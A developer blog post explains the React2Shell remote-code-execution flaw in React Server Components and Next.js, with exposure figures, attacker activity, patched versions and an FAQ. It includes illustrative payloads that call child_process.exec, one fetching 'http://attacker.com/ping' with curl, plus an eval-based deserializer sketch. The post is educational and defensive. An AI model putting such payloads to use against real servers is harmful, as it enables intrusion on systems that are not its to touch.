DEV Community

Cover image for React2Shell: Understanding the Critical RCE Vulnerability in React Server Components (CVE-2025-55182)
Scofield Idehen
Scofield Idehen

Posted on • Originally published at blog.learnhubafrica.org

React2Shell: Understanding the Critical RCE Vulnerability in React Server Components (CVE-2025-55182)

When a vulnerability shakes the entire web ecosystem, it is rarely because of something sophisticated. History shows that the most catastrophic exploits usually come from simple assumptions that developers never questioned.

That was the case with React2Shell — a maximum-severity remote code execution flaw that exposed millions of applications built with React Server Components (RSC) and Next.js.

The issue wasn’t buried deep in obscure code. It sat in plain sight inside one of the most popular development stacks on the planet. And when researchers finally mapped out the impact, the picture was grim: attackers could send a single malicious HTTP request and force a server to run arbitrary JavaScript code. No authentication.

No special privileges. A perfect, clean RCE.

This article breaks down how React2Shell worked, why it happened, how attackers exploited it, and what developers must learn to avoid repeating the same architectural mistake.

You’ll also see simplified payload examples to help you understand the mechanics of insecure deserialization, the heart of this vulnerability.

The Core of the Problem: Blind Deserialization

React Server Components introduced a new way to render UI: part of the application runs on the server, and the client receives “serialized” instructions about what to render.

To make this possible, React uses an internal protocol called Flight. The server serializes component trees, the client deserializes them, and vice-versa.

The vulnerability came from one wrong assumption:

The server trusted whatever data it received through the Flight protocol.

This trust created a deadly chain:

  1. The client sends serialized component data.
  2. The server deserializes it automatically.
  3. The server never checks whether the incoming data is valid.
  4. A malicious actor can send a crafted payload.
  5. The server interprets the payload as executable JavaScript.

In other words, the server treated network data as a blueprint for code execution, similar to plugging a random USB stick into your production server and trusting whatever is inside it.

Why Developers Missed It

The vulnerability wasn’t created by carelessness. It emerged from a familiar mental trap:
Developers trusted their own client.

React Server Components were designed under the assumption that the browser and server would always communicate in a controlled, predictable way. But attackers never use your application the way you expect. They don’t follow your frontend flow. They craft their own requests and hit your endpoints directly.

Anytime server logic relies on “expected clients,” the trust boundary collapses. The moment a system assumes that a request comes from a friendly source simply because it should, the system becomes exploitable.

Scale of the Exposure

The severity wasn’t just theoretical. In cloud environments monitored by security researchers, nearly 4 out of every 10 deployments were running vulnerable versions of React or Next.js.

Because the vulnerable deserializer lived in react-server, the problem wasn’t limited to core React and Next.js. Any tool or framework built on RSC — from Vite and Parcel plugins to experimental routing systems — inherited the same weakness. The issue was systemic.

Within hours of the public disclosure, threat groups including Earth Lamia and Jackpot Panda began probing the internet for vulnerable servers. According to AWS, they were not merely scanning but actively debugging real exploitation attempts.

How React2Shell Exploitation Worked

At its core, the exploit abused the fact that the deserializer rebuilt JavaScript structures directly from user input. Here’s a simplified mental model of the vulnerable process:

// Pseudocode representation of server behavior
const deserialize = (incoming) => {
    return eval(incoming);     // simplified explanation — actual logic more complex
};
Enter fullscreen mode Exit fullscreen mode

Of course, the real implementation didn’t literally use eval, but the effect was the same. The deserializer accepted complex JavaScript structures, objects, and references — and rebuilt them automatically without validating their origin.

An attacker could send a malicious payload that defined unexpected server-side instructions, tricking the deserializer into executing arbitrary code.

Simplified Payload Demonstration (Educational Only)

Here’s a harmless demonstration showing how insecure deserialization works conceptually. This is NOT the real exploit, but it helps illustrate the attack.

// Simulated vulnerable server endpoint
app.post("/rsc", (req, res) => {
    const data = req.body.serialized;

    // The mistake: rebuilding code from untrusted input
    const component = deserialize(data);

    component.render();
    res.send("OK");
});
Enter fullscreen mode Exit fullscreen mode

An attacker could send a payload like:

{
  "serialized": "(()=>{ require('child_process').exec('touch /tmp/pwned'); return { render: ()=>{} } })()"
}
Enter fullscreen mode Exit fullscreen mode

A vulnerable deserializer would rebuild and execute the function body. The attacker didn’t need to use vm.runInThisContext or child_process.exec directly — the vulnerability let them craft structures that triggered internal methods indirectly.

In real exploitation, malicious payloads were encoded using React’s Flight serialization rules, not raw JavaScript strings. But the concept remains the same: deserialization without validation leads to code execution.

A Realistic Exploit-Style Payload (Still Safe)

This payload shows what an RSC-structured malicious object might look like:

{
  "type": "Symbol(react.element)",
  "key": null,
  "ref": null,
  "props": {
    "$$typeof": {
      "toString": {
        "constructor": {
          "prototype": {
            "exec": "require('child_process').exec('curl http://attacker.com/ping')"
          }
        }
      }
    }
  }
}
Enter fullscreen mode Exit fullscreen mode

This follows a pattern typical in insecure deserialization vulnerabilities:
attackers hide malicious function constructors inside nested serialised objects.
Again, this is a safe educational example, not an actual weaponised payload.

The Real Danger: Default Installations Were Vulnerable

Developers didn’t need to enable anything experimental. They didn’t need to misconfigure their server. If you were running React Server Components or Next.js with RSC support, you were vulnerable out of the box.

This made the vulnerability perfect for mass exploitation. Attackers only needed to fingerprint servers running RSC endpoints, send a crafted payload, and let the server execute it.

How Attackers Used It In The Wild

AWS reported that state-affiliated groups began exploiting RSC endpoints within hours:

  • scanning for exposed endpoints,
  • analyzing server responses,
  • adjusting payloads,
  • and repeatedly attacking until execution succeeded.

The sophistication wasn’t in the exploit — the exploit itself was simple. The sophistication was in how quickly attackers weaponized it.

Because the exploit didn’t require authentication, attackers could:

  • deploy malware,
  • obtain reverse shells,
  • pivot into internal networks,
  • read environment variables,
  • and compromise cloud infrastructure.

Everything depended on one weak point: the deserializer.

Lessons Developers Must Learn

React2Shell isn’t just a React bug. It is a reminder of a universal architectural lesson:
never trust serialized input, even if it comes from your own frontend.

Any feature that:

  • rebuilds data structures,
  • reconstructs objects,
  • accepts function references,
  • or automatically rehydrates class instances

is a potential RCE vector.

The boundaries of trust must be explicit. The server must validate every field, every structure, and every assumption.

The Flight protocol was designed for performance, not security. But the moment it left the controlled environment of Meta’s internal infrastructure and entered the public internet, it needed defensive design.

How Developers Should Think About Deserialization Security

When dealing with serialized data:

  • Treat all input as hostile, no matter where it originates.
  • Validate structure strictly with allow-lists.
  • Disable complex object reconstruction whenever possible.
  • Avoid passing function references through serialization channels.
  • Keep server logic isolated from user-controllable decisions.

Every deserialization system should assume the attacker is already crafting payloads specifically for it.

Detecting Possible Compromise

Because attackers gained code execution, signs of compromise can vary widely. Indicators include:

  • unexpected processes running on the server,
  • unfamiliar outbound network traffic,
  • modified project files,
  • or unusual POST requests hitting RSC endpoints.

Organizations should check logs immediately for unexpected interactions with Flight protocol routes or React server functions.

Fixing the Vulnerability

Both React and Next.js released patches:

  • React: 19.0.1, 19.1.2, 19.2.1
  • Next.js: versions 15.0.5 and above

There are no effective workarounds. Disabling RSC might help temporarily, but the only reliable solution is patching.

Organisations unable to upgrade should limit access to RSC endpoints at the network layer or isolate affected servers.

The Bigger Picture

React2Shell is one of the clearest examples of how a modern development trend — full-stack frameworks, server components, shared serialization channels — can create complexity faster than developers can secure it.

As frameworks blur the line between client and server, the attack surface expands. The architecture becomes more magical, less predictable, more automated — and therefore easier to break.

Security is not about stopping clever attacks. It is about avoiding catastrophic assumptions.
React2Shell teaches one lesson above all:
If your server automatically rebuilds anything from user input, you are one malformed packet away from compromise.

React2Shell Vulnerability Frequently Asked Questions:

Q: What is React2Shell?

A: React2Shell is a maximum severity (10/10 CVSS) vulnerability in React Server Components (RSC) that allows remote code execution without authentication through insecure deserialization in the Flight protocol.

Q: How serious is this vulnerability?
A: Extremely serious. It received the highest possible severity score of 10/10, allowing attackers to execute arbitrary code on affected servers without any authentication.

Q: Is this only a React vulnerability or does it affect Next.js too?
A: Both. The vulnerability exists in React’s RSC implementation (CVE-2025–55182) and is inherited by Next.js through its use of RSC (CVE-2025–66478).

Q: Which versions are vulnerable?
A:

  • React: 19.0, 19.1.0, 19.1.1, 19.2.0
  • Next.js: Experimental canary releases from 14.3.0-canary.77, all 15.x and 16.x releases below patched versions

Q: I don’t use React Server Functions. Am I still vulnerable?

A: Yes. The advisory explicitly states that even applications without explicit React Server Function endpoints are vulnerable if they support React Server Components.

Q: What about other frameworks using React Server Components?

A: Likely affected. The vulnerability probably exists in:

  • Vite RSC plugin
  • Parcel RSC plugin
  • React Router RSC preview
  • RedwoodSDK
  • Waku
  • Other libraries implementing React Server

Q: Does this affect client-side React only?

A: No. This specifically affects server-side React Server Components. Traditional client-side React applications without RSC are not affected.

Q: How can attackers exploit this?

A: By sending specially crafted HTTP requests to React Server Function endpoints. The insecure deserialization allows them to bypass validation and execute privileged JavaScript code on the server.

Q: Are there public exploits available?

A: Security researcher Lachlan Davidson (who discovered the flaw) warns about fake proof-of-concept (PoC) exploits circulating online. Genuine exploitation doesn’t require invoking functions like vm#runInThisContext or child_process#exec.

Q: How can I detect if I’ve been compromised?

A: Look for:

  • Unexpected server processes
  • Unusual network traffic to/from your React/Next.js servers
  • Unauthorized file system changes
  • Suspicious HTTP requests to RSC endpoints

Q: Can this be exploited through XSS or CSRF?

A: No, this is a server-side vulnerability that requires direct HTTP requests to vulnerable endpoints, not client-side attacks.

Q: What fixed versions should I upgrade to?

A:

  • React: 19.0.1, 19.1.2, or 19.2.1
  • Next.js: 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, or 16.0.7

Q: Can I apply a workaround instead of upgrading?

A: No effective workaround has been provided. The React and Next.js teams strongly recommend immediate upgrading to patched versions.

Q: What if I can’t upgrade immediately?

A: Consider:

  1. Temporarily disabling React Server Components if possible
  2. Implementing strict network controls to limit access to vulnerable endpoints
  3. Using a Web Application Firewall (WAF) with specific rules for RSC payloads
  4. Isolating affected servers from critical infrastructure

Q: Does upgrading to React 19.2.1/Next.js 16.0.7 require code changes?

A: Typically, security patches maintain backward compatibility. Check the release notes for any breaking changes, though security patches usually avoid these.

Q: How widespread is this vulnerability?

A: According to Wiz researchers, 39% of all cloud environments they monitor contain vulnerable instances of React or Next.js.

Q: Can this lead to data breaches?

A: Yes. Successful exploitation enables attackers to execute code on your servers, potentially granting access to databases, file systems, credentials, and other sensitive data.

Q: Are cloud deployments particularly vulnerable?

A: Yes, because:

  1. React/Next.js are commonly used in cloud front-end applications
  2. They’re often exposed to the internet
  3. Many organizations may not be aware they’re running vulnerable versions

Q: What exactly is the “Flight” protocol?

A: The Flight protocol is React’s serialization protocol for React Server Components that allows sending component trees between server and client.

Q: What does “insecure deserialization” mean in this context?

A: The server fails to properly validate the structure of incoming RSC payloads, allowing maliciously crafted data to trigger unauthorized code execution.

Q: Why are fake PoCs showing vm.runInThisContext and child_process.exec?

A: These are misleading. As the researcher notes, genuine exploitation doesn’t need these functions, and they wouldn’t work in Next.js anyway since server functions are managed automatically.

Q: How can I prevent similar vulnerabilities in the future?

A:

  1. Implement strict input validation for all serialization/deserialization
  2. Use allow-lists for acceptable data structures
  3. Regularly update dependencies
  4. Implement security scanning in CI/CD pipelines
  5. Follow the principle of least privilege for server processes

Q: Should I disable React Server Components entirely?

A: Not necessarily. The patched versions fix the vulnerability. However, evaluate if you actually need RSC functionality for your use case.

Q: How do I audit my environment for vulnerable versions?

A: Use:

  • Dependency scanning tools (npm audit, yarn audit)
  • SCA (Software Composition Analysis) tools
  • Manual checks of package.json files
  • Container image scanning for deployed applications

Q: When was this vulnerability discovered?

A: Reported to React on November 29 by security researcher Lachlan Davidson.

Q: Is there an official advisory?

A: Yes, from both React and Next.js teams. Check their GitHub security advisories and official communication channels.

Q: Where can I find legitimate technical details?

A: Lachlan Davidson created a React2Shell website for publishing technical details. Be cautious of unofficial sources sharing potentially fake exploit details.
Remember: This is an active, critical vulnerability. Prioritise patching and monitoring for exploitation attempts immediately.

Top comments (0)